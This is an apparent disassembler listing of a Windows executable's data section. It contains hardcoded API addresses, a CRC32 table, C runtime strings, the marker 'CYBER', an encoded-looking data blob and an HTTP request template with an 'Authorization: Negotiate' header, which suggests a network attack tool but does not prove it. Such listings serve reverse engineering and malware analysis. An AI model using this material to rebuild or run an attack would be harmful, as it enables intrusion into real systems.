dword_428050	dd 77E781F9h		; DATA XREF: seg000:00422DE5r
					; seg000:00422F8Br ...
		dd 77E77405h
dword_428058	dd 77F522F2h		; DATA XREF: sub_422828+58r
dword_42805C	dd 77E6D706h		; DATA XREF: sub_4212CC+215r
					; sub_426B9B+2Er
		dd 77E6C703h
dword_428064	dd 77E61BE6h		; DATA XREF: seg000:00401081r
					; sub_401132+29r ...
dword_428068	dd 77E75CB5h		; DATA XREF: sub_401132+DFr
					; seg000:004012B0r ...
dword_42806C	dd 77E77963h		; DATA XREF: sub_401132+B8r
					; sub_40C4C6+9Dr ...
		dd 77E61BB8h, 77E7A099h, 77E704FCh
dword_42807C	dd 77E7AC37h		; DATA XREF: seg000:00402278r
					; seg000:004024D5r ...
		dd 77E73628h
dword_428084	dd 77E706B7h		; DATA XREF: seg000:0041994Cr
		dd 77E80656h
dword_42808C	dd 77F5157Dh		; DATA XREF: seg000:004024F1r
					; seg000:00403763r ...
		dd 77E6BD13h, 77E70396h
dword_428098	dd 77E74CABh		; DATA XREF: sub_40FA29+10Fr
					; sub_41853D+10Fr ...
dword_42809C	dd 77E79F93h		; DATA XREF: sub_409A01+2r
		dd 77E79D5Bh, 77E7C2C4h
dword_4280A8	dd 77E7751Ah		; DATA XREF: seg000:00401262r
					; seg000:00404012r ...
dword_4280AC	dd 77E75CEBh		; DATA XREF: seg000:00410F66r
		dd 77E6AD34h, 77E71AFEh
dword_4280B8	dd 77E805D8h		; DATA XREF: sub_409A01+13Ar
					; sub_409A01:loc_409F0Fr ...
dword_4280BC	dd 987574h		; DATA XREF: sub_409A01+11r
					; sub_416F7D+60r ...
		dd 77E65F4Ch
dword_4280C4	dd 77E7513Ch		; DATA XREF: seg000:0040AD49r
dword_4280C8	dd 77E7C657h		; DATA XREF: seg000:0040ADBDr
					; sub_4186C5+32r ...
		dd 77E73C49h
dword_4280D0	dd 77F7E300h		; DATA XREF: sub_40BF8E+130r
dword_4280D4	dd 77F7E21Fh		; DATA XREF: sub_40BF8E+C5r
dword_4280D8	dd 77E7C706h		; DATA XREF: seg000:0040C219r
dword_4280DC	dd 77F53275h		; DATA XREF: seg000:0040C20Dr
					; seg000:0040C3E3r
		dd 77E79D8Ch, 77E737DEh
dword_4280E8	dd 77E78B82h		; DATA XREF: sub_40D83A+19Cr
					; sub_40D83A+4B0r ...
dword_4280EC	dd 77E7A837h		; DATA XREF: sub_40D83A+A4r
					; sub_40E3D2+1CBr ...
		dd 77E73EACh, 77E616B4h, 77E79CE3h
dword_4280FC	dd 77E79C90h		; DATA XREF: seg000:004110FEr
					; seg000:00419EA8r
dword_428100	dd 77E7727Ah		; DATA XREF: sub_410FCB+23r
					; seg000:00419E67r
		dd 77E64106h, 77E64006h, 77E793EFh, 77E78EAAh, 77E79424h
		dd 77E794BFh
dword_42811C	dd 77E75E67h		; DATA XREF: sub_40FCD8+20Cr
					; sub_40FCD8+5DCr
dword_428120	dd 77E78C81h		; DATA XREF: seg000:004103C5r
					; sub_415EA1+259r ...
		dd 77E76968h, 77E74C59h, 77EC7C51h
dword_428130	dd 77E70F89h		; DATA XREF: sub_411D74+Er
					; sub_4152AE+Dr ...
		dd 77E802FCh, 77E6D75Bh, 77E80618h
dword_428140	dd 77E78147h		; DATA XREF: sub_416F7D+BCr
dword_428144	dd 77F51597h		; DATA XREF: sub_41714F+41r
					; sub_41714F+F5r ...
dword_428148	dd 77F516F8h		; DATA XREF: sub_41714F+21r
					; sub_4172D8+4Ar ...
dword_42814C	dd 77E77CB7h		; DATA XREF: sub_41714F+10r
					; sub_4172D8+40r ...
dword_428150	dd 77E7F01Ah		; DATA XREF: sub_4172D8+88r
					; sub_41747C+53r
dword_428154	dd 77E61A54h		; DATA XREF: sub_4172D8+56r
dword_428158	dd 77E7C3A5h		; DATA XREF: sub_4172D8+34r
					; sub_41747C+2Cr
		dd 77E76A60h
dword_428160	dd 77E71B14h		; DATA XREF: sub_4183BA+26r
dword_428164	dd 77E7166Fh		; DATA XREF: sub_4183BA+1Dr
		db 90h
		db 50h,	0E7h, 77h
		dd 77E74D76h, 77E77797h, 77E7011Ah, 77E73CE2h, 77E668D9h
dword_428180	dd 77E79924h		; DATA XREF: sub_418D55+13r
					; seg000:00422FB0r ...
dword_428184	dd 77E77CCEh		; DATA XREF: sub_418E27+Fr
					; sub_41DA54+54r ...
dword_428188	dd 77E76A2Eh		; DATA XREF: seg000:00419966r
		dd 77E7FF65h, 77EB7624h, 77E6C29Dh, 77E76C1Ah
dword_42819C	dd 77F5722Fh		; DATA XREF: sub_41B3F2+110r
					; sub_41B3F2+22Dr ...
dword_4281A0	dd 77F6183Eh		; DATA XREF: sub_426A1Er
		dd 77E76E3Dh, 77E61608h, 77E6177Ah, 77E7C938h
dword_4281B4	dd 77E7C486h		; DATA XREF: seg000:0041DB79r
		dd 77E7AC5Eh
dword_4281BC	dd 77E76E0Bh		; DATA XREF: sub_41DFF2+50r
dword_4281C0	dd 77E7C726h		; DATA XREF: sub_41DFF2+11r
dword_4281C4	dd 77E79E34h		; DATA XREF: sub_41E0C2+240r
					; sub_41EB96+120r ...
dword_4281C8	dd 77E7980Ah		; DATA XREF: sub_41E6F4+76r
					; sub_41E7A5+51r ...
		dd 77E73196h, 77E7849Fh, 77E7A13Fh, 0
dword_4281DC	dd 71B2ACCBh		; DATA XREF: sub_41B1C0r
		dd 0
dword_4281E4	dd 71AB4122h		; DATA XREF: sub_414C60+D4r
dword_4281E8	dd 71AB1746h		; DATA XREF: seg000:0041298Br
					; seg000:0041299Dr
dword_4281EC	dd 71AB401Ch		; DATA XREF: seg000:004129C8r
dword_4281F0	dd 71AB1836h		; DATA XREF: sub_40F360+6Er
					; sub_40F3DD+8Er
dword_4281F4	dd 71AB41DAh		; DATA XREF: sub_40ED60+4Ar
					; sub_40F360+15r
dword_4281F8	dd 71AB155Ah		; DATA XREF: sub_40ED60+8Dr
					; sub_4137F8+6Er ...
dword_4281FC	dd 71AB3ECEh		; DATA XREF: sub_40ED60+B5r
dword_428200	dd 71AB5DE2h		; DATA XREF: sub_40ED60+C9r
dword_428204	dd 71AB868Dh		; DATA XREF: sub_40ED60+16Fr
dword_428208	dd 71AB5A01h		; DATA XREF: seg000:00414D6Br
dword_42820C	dd 71AB1746h		; DATA XREF: sub_40DDDF+3Dr
					; sub_40E2E5+36r ...
dword_428210	dd 71AB3E5Dh		; DATA XREF: sub_40DDDF+50r
					; sub_40E2E5+59r ...
dword_428214	dd 71AB3F8Dh		; DATA XREF: sub_40DDDF+7Br
					; sub_40ED60+5Ar
dword_428218	dd 71AB5690h		; DATA XREF: sub_40DDDF+B5r
					; sub_40DDDF+28Br ...
dword_42821C	dd 71AB1A6Dh		; DATA XREF: sub_40DDDF+26Fr
					; sub_40DDDF:loc_40E235r ...
dword_428220	dd 71AB3C22h		; DATA XREF: seg000:0040D1D0r
					; sub_40DDDF+15r ...
dword_428224	dd 71AB1AF4h		; DATA XREF: sub_40CE29+12r
					; sub_40DDDF+A4r ...
dword_428228	dd 71AB1890h		; DATA XREF: sub_40CC86+4Cr
					; sub_40ED60+106r
dword_42822C	dd 71AB1B7Bh		; DATA XREF: sub_426A18r
dword_428230	dd 71AB157Eh		; DATA XREF: seg000:00404AA4r
dword_428234	dd 71AB12F8h		; DATA XREF: sub_40DDDF+2Cr
					; sub_40E2E5+27r ...
		align 10h
dword_428240	dd 0			; DATA XREF: sub_401089+24r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
aCyber		db 'CYBER',0            ; DATA XREF: seg000:00404F83o
					; seg000:00405066o ...
		align 4
aCyber_0	db 'CYBER',0            ; DATA XREF: seg000:0040538Ao
					; seg000:004053C6o ...
		align 10h
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D066+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_428690	dq 1.388888888888889e-2	; DATA XREF: sub_40CE7B+2Fr
dbl_428698	dq 1.666666666666667e-1	; DATA XREF: sub_40CE7B+15r
dbl_4286A0	dq 1.333333333333333	; DATA XREF: sub_40CEC7+7Ar
dword_4286A8	dd 0			; DATA XREF: sub_40D066+4Do
					; sub_40D3A6+57o ...
flt_4286AC	dd 5.0e-1		; DATA XREF: sub_40D83A+3A5r
		dd 0
		dd 3F500000h
dbl_4286B8	dq -1.52587890625e-4	; DATA XREF: sub_417B38+3D3r
dbl_4286C0	dq 3.0517578125e-4	; DATA XREF: sub_417B38+3B4r
dbl_4286C8	dq -3.0517578125e-4	; DATA XREF: sub_417B38+332r
					; sub_417B38+396r
dbl_4286D0	dq 1.52587890625e-4	; DATA XREF: sub_417B38+26Dr
dbl_4286D8	dq -1.739501953125e-3	; DATA XREF: sub_417B38+248r
					; sub_417B38+2D1r ...
dbl_4286E0	dq 3.11279296875e-3	; DATA XREF: sub_417B38+E1r
dbl_4286E8	dq 3.0517578125e-5	; DATA XREF: sub_417B38+AEr
					; sub_417B38+137r ...
dbl_4286F0	dq 6.103515625e-5	; DATA XREF: sub_417B38+93r
					; sub_417B38+2FDr
dbl_4286F8	dq 2.288818359375e-3	; DATA XREF: sub_417B38+21r
dbl_428700	dq -3.0517578125e-5	; DATA XREF: sub_418872+2Br
flt_428708	dd 9.765625e-4		; DATA XREF: sub_41A6BE+1B0r
flt_42870C	dd 8.0			; DATA XREF: sub_41A6BE+1AAr
flt_428710	dd 0.0			; DATA XREF: sub_41A6BE+16Fr
flt_428714	dd 1.0e-3		; DATA XREF: sub_41A6BE+166r
dbl_428718	dq 1.0			; DATA XREF: sub_41C869+6Cr
					; sub_41C9AF+6Cr ...
dword_428720	dd 0FFFFFFFFh, 41DC2Ah,	41DC3Eh	; DATA XREF: seg000:0041DB58o
a__global_heap_	db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: seg000:0041DF38o
		align 4
a__msvcrt_heap_	db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: seg000:0041DEF9o
		align 4
byte_42875C	db 6			; DATA XREF: sub_41F8BF:loc_41F916r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: seg002:off_43F1A4o
		unicode	0, <(null)>,0
		align 4
aNull_0		db '(null)',0           ; DATA XREF: seg002:off_43F1A0o
		align 10h
a_yn		db '_yn',0
a_y1		db '_y1',0
a_y0		db '_y0',0
aFrexp		db 'frexp',0
		align 4
aFmod		db 'fmod',0
		align 4
a_hypot		db '_hypot',0
		align 4
a_cabs		db '_cabs',0
		align 4
aLdexp		db 'ldexp',0
		align 4
aModf		db 'modf',0
		align 4
aFabs		db 'fabs',0
		align 4
aFloor		db 'floor',0
		align 4
aCeil		db 'ceil',0
		align 4
aTan		db 'tan',0
aCos		db 'cos',0
aSin		db 'sin',0
aSqrt		db 'sqrt',0
		align 4
aAtan2		db 'atan2',0
		align 10h
aAtan		db 'atan',0
		align 4
aAcos		db 'acos',0
		align 10h
aAsin		db 'asin',0
		align 4
aTanh		db 'tanh',0
		align 10h
aCosh		db 'cosh',0
		align 4
aSinh		db 'sinh',0
		align 10h
aLog10		db 'log10',0
		align 4
aPow		db 'pow',0
aExp		db 'exp',0              ; DATA XREF: seg002:off_43F41Co
dbl_428880	dq 0.0			; DATA XREF: sub_42157F+8Cr
					; sub_42157F+ACr ...
dbl_428888	dq 4.195835e6		; DATA XREF: sub_421A94+Fr
dbl_428890	dq 3.145727e6		; DATA XREF: sub_421A94+6r
aIsprocessorfea	db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_421AD2+Fo
		align 4
aKernel32	db 'KERNEL32',0         ; DATA XREF: sub_421AD2o
		align 10h
aE000		db 'e+000',0            ; DATA XREF: sub_421BF9+93o
		align 4
dword_4288C8	dd 0FFFFFFFFh, 4222E4h,	4222EEh, 0 ; DATA XREF:	sub_42227D+5o
dword_4288D8	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4223AC+5o
		dd offset loc_42246A
		align 8
		dd offset sub_422448
		dd offset sub_422452
dword_4288F0	dd 0FFFFFFFFh, 42269Ah,	42269Eh, 0 ; DATA XREF:	sub_4224E2+5o
dword_428900	dd 0FFFFFFFFh, 4226FCh,	422705h, 0 ; DATA XREF:	sub_4226A6+5o
dword_428910	dd 0FFFFFFFFh, 0	; DATA XREF: sub_42277C+5o
		dd offset loc_4227CD
		align 10h
		dd offset loc_4227B9
		dd offset loc_4227BD
dword_428928	dd 0FFFFFFFFh, 0	; DATA XREF: sub_4227D2+5o
		dd offset loc_422823
		align 8
		dd offset loc_42280F
		dd offset loc_422813
dword_428940	dd 2 dup(0)		; DATA XREF: seg000:00422DD9o
					; seg000:00423F70o ...
dword_428948	dd 0FFFFFFFFh, 422EB3h,	422EB7h, 0FFFFFFFFh, 422F67h, 422F6Bh
					; DATA XREF: seg000:00422DA8o
		dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
		dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
		dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
		dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
		dd 65682065h, 0A0D7061h, 0
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 10h
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 10h
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 4
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 10h
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: seg002:off_43F86Co
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_4238CD+119o
		align 10h
asc_428C10	db 0Ah			; DATA XREF: sub_4238CD+F1o
		db 0Ah,0
		align 4
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_4238CD+D3o
		db 0Ah
		db 'Program: ',0
		align 10h
a___		db '...',0              ; DATA XREF: sub_4238CD+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_4238CD+7Do
		align 10h
dword_428C50	dd 0FFFFFFFFh, 424030h,	424034h	; DATA XREF: seg000:00423F3Co
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 4
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_424A3C+Ao
		align 10h
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4250D1+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4250D1+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4250D1+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_425912:loc_425A07o
		align 4
a1Inf		db '1#INF',0            ; DATA XREF: sub_425912+D8o
		align 10h
a1Ind		db '1#IND',0            ; DATA XREF: sub_425912+C7o
		align 4
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_425912+ADo
		align 10h
dword_428CF0	dd 0FFFFFFFFh, 42630Ah,	42630Eh, 0FFFFFFFFh, 426379h, 42637Dh
					; DATA XREF: sub_426153+5o
		dd 428E48h
off_428D0C	dd offset loc_4268B8	; DATA XREF: sub_4266C0+4Do
					; sub_4268D4+Co
		dd offset sub_42677E
		dd offset sub_42689B
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_4266C0+1Eo
		dd offset dword_428E80
off_428D2C	dd offset loc_4267E5	; DATA XREF: sub_42671A+4Eo
					; sub_4267A8+11o ...
		dd offset sub_42677E
		dd offset sub_42678B
dword_428D38	dd 0FFFFFFFFh		; DATA XREF: sub_42671A+3Br
					; sub_426801+34r
		dd offset dword_428ED0
off_428D40	dd offset loc_4269A0	; DATA XREF: sub_4268EC+4Do
					; sub_4269BC+Co
		dd offset sub_42677E
		dd offset sub_426983
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_4268EC+1Eo
		dd offset dword_428F00
off_428D68	dd offset sub_426AA4	; DATA XREF: sub_426AC0+8o
					; sub_426AFD+8o ...
		dd offset sub_426B5D
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_426B5D+7o
		align 4
		dd offset dword_428F48
off_428D88	dd offset loc_426B7F	; DATA XREF: sub_426B6Ao
					; seg002:off_43FD18o ...
		align 10h
dword_428D90	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_426B9B+Eo
		dd 3, 19930520h, 2 dup(0)
dword_428DB0	dd 0FFFFFFFFh, 426D4Ch,	426D50h, 0FFFFFFFFh, 426DC9h, 426DCDh
					; DATA XREF: sub_426C4A+5o
dword_428DC8	dd 0FFFFFFFFh, 426FC1h,	426FC5h, 0FFFFFFFFh, 42701Eh, 427022h
					; DATA XREF: sub_426ED5+5o
		dd 43FD18h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_428DF8	dd offset off_43FD30	; DATA XREF: seg001:00428E2Co
					; seg001:00428E60o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
off_428E10	dd offset off_43FD50	; DATA XREF: seg001:00428E28o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428E10
		dd offset off_428DF8
		dd offset dword_428DC8+18h
		dd 0
		db    0			; DATA XREF: seg001:00428E58o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 3, 428E28h, 3 dup(0)
		dd offset off_43FD50
		dd offset unk_428E38
		align 10h
		dd offset off_428DF8
		dd offset dword_428DC8+18h
dword_428E68	dd 4 dup(0)		; DATA XREF: seg001:00428E90o
		dd 2, 428E60h
dword_428E80	dd 3 dup(0)		; DATA XREF: seg001:00428D28o
		dd offset off_43FD30
		dd offset dword_428E68+8
		align 8
off_428E98	dd offset off_43FD70	; DATA XREF: seg001:00428EB0o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428E98
		dd offset off_428DF8
		dd offset dword_428DC8+18h
dword_428EBC	dd 3 dup(0)		; DATA XREF: seg001:00428EE0o
		dd 3, 428EB0h
dword_428ED0	dd 3 dup(0)		; DATA XREF: seg001:00428D3Co
		dd offset off_43FD70
		dd offset dword_428EBC+4
		dd offset dword_428DC8+18h
dword_428EE8	dd 4 dup(0)		; DATA XREF: seg001:00428F10o
		dd 1, 428EE4h
dword_428F00	dd 3 dup(0)		; DATA XREF: seg001:00428D64o
		dd offset off_43FD18
		dd offset dword_428EE8+8
		dd 0
off_428F18	dd offset off_43FD90	; DATA XREF: seg001:00428F30o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_428F18
		dd 0
		db    0			; DATA XREF: seg001:00428F58o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 428F30h
dword_428F48	dd 3 dup(0)		; DATA XREF: seg001:00428D84o
		dd offset off_43FD90
		dd offset unk_428F38
		align 10h
		dd 0FFFFFFFFh, 4270A4h,	0
		dd offset sub_42709C
dword_428F70	dd 19930520h, 2, 428F60h, 4 dup(0) ; DATA XREF:	seg000:loc_4270BBo
		dd 0FFFFFFFFh, 4270C8h,	0
		dd offset loc_4270D0
dword_428F9C	dd 19930520h, 2, 428F8Ch, 4 dup(0) ; DATA XREF:	seg000:loc_4270D8o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 4 dup(0)
		dd offset loc_40D60C
		align 10h
		dd 2 dup(1), 428FC8h
dword_428FEC	dd 19930520h, 2, 428FB8h, 1, 428FD8h, 3	dup(0)
					; DATA XREF: seg000:loc_4270E4o
		dd offset off_43FD18
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	426AFDh, 2 dup(0)
		dd offset off_43FD30
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426801h, 2 dup(0)
		dd offset off_43FD50
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4268D4h, 0
dword_429068	dd 3, 429048h, 429028h,	429008h	; DATA XREF: seg001:00429084o
dword_429078	dd 0			; DATA XREF: sub_4266C0+47o
					; sub_42689B+12o
		dd offset sub_42685E
		dd 0
		dd offset dword_429068
dword_429088	dd 19930520h, 1, 4290A8h, 5 dup(0) ; DATA XREF:	seg000:loc_4270F8o
		dd 0FFFFFFFFh, 4270F0h
dword_4290B0	dd 19930520h, 1, 4290D0h, 5 dup(0) ; DATA XREF:	seg000:loc_42710Co
dword_4290D0	dd 0FFFFFFFFh, 427104h,	2, 429028h, 429008h, 0 ; DATA XREF: seg001:004290F4o
dword_4290E8	dd 0			; DATA XREF: sub_42678B+12o
		dd offset sub_4267A8
		dd 0
		dd offset dword_4290D0+8
dword_4290F8	dd 19930520h, 1, 429118h, 5 dup(0) ; DATA XREF:	seg000:loc_427120o
		dd 0FFFFFFFFh, 427118h
dword_429120	dd 19930520h, 1, 429140h, 5 dup(0) ; DATA XREF:	seg000:loc_427134o
		dd 0FFFFFFFFh, 42712Ch
dword_429148	dd 19930520h, 1, 429168h, 5 dup(0) ; DATA XREF:	seg000:loc_427148o
		dd 0FFFFFFFFh, 427140h,	0
		dd offset off_43FD70
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	4269BCh, 0
dword_429190	dd 3, 429170h, 429028h,	429008h	; DATA XREF: seg001:004291ACo
dword_4291A0	dd 0			; DATA XREF: sub_4268EC+47o
					; sub_426983+12o
		dd offset sub_426946
		dd 0
		dd offset dword_429190
dword_4291B0	dd 19930520h, 1, 4291D0h, 5 dup(0) ; DATA XREF:	seg000:loc_42715Co
		dd 0FFFFFFFFh, 427154h
dword_4291D8	dd 19930520h, 1, 4291F8h, 5 dup(0) ; DATA XREF:	seg000:loc_427170o
		dd 0FFFFFFFFh, 427168h,	2942Ch,	2 dup(0)
		dd 294A2h, 281DCh, 29434h, 2 dup(0)
		dd 294B8h, 281E4h, 29250h, 2 dup(0)
		dd 29D38h, 28000h, 5 dup(0)
		dd 13EF469Bh, 0A084B9CBh, 6EF58751h, 44176B64h,	0DD3AE4B2h
		dd 35645917h, 0C978E84Ah, 0E6E410A1h, 0DEFA2786h, 0E229EAEh
		dd 82E1EA93h, 0A49AF37Ah, 82A12F95h, 955E215Dh,	12AC3E9h
		dd 7E1FAF7Bh, 5C21CA67h, 62DBB35Ah, 784FD758h, 8A1D234h
		dd 2E9AAAB9h, 0EC793655h, 2D225CAAh, 0A5D7F39Ch, 1C63A393h
		dd 121461DEh, 0EA42F371h, 5EECD96Fh, 0F391D945h, 0DCB0761Fh
		dd 8D16FA31h, 0E95ED6E1h, 4546C261h, 7A4CE1F5h,	0B4D4AA58h
		dd 314548E9h, 0A68E7A84h, 9C49BEAEh, 0BC176198h, 9107FAA8h
		dd 0F2245E1Ah, 64781411h, 5A1D8BBAh, 0FBC62A33h, 0C829E87Ch
		dd 8F740846h, 0A8BC2EEDh, 42D66ACBh, 211E662Dh,	0D05796E4h
		dd 39088F92h, 0BCC63FC6h, 23F48D44h, 0BC4DB500h, 0D41997A5h
		dd 26197169h, 236B54CCh, 0B9056BD7h, 29DF2438h,	4627B937h
		dd 4B3EBC8Bh, 9286B94Dh, 0C3CADE2Dh, 9B2C75E4h,	0AB9F341Eh
		dd 0DFE46E87h, 98DCE44h, 8F4BF7EDh, 0E251DD9Dh,	6E9CA31Fh
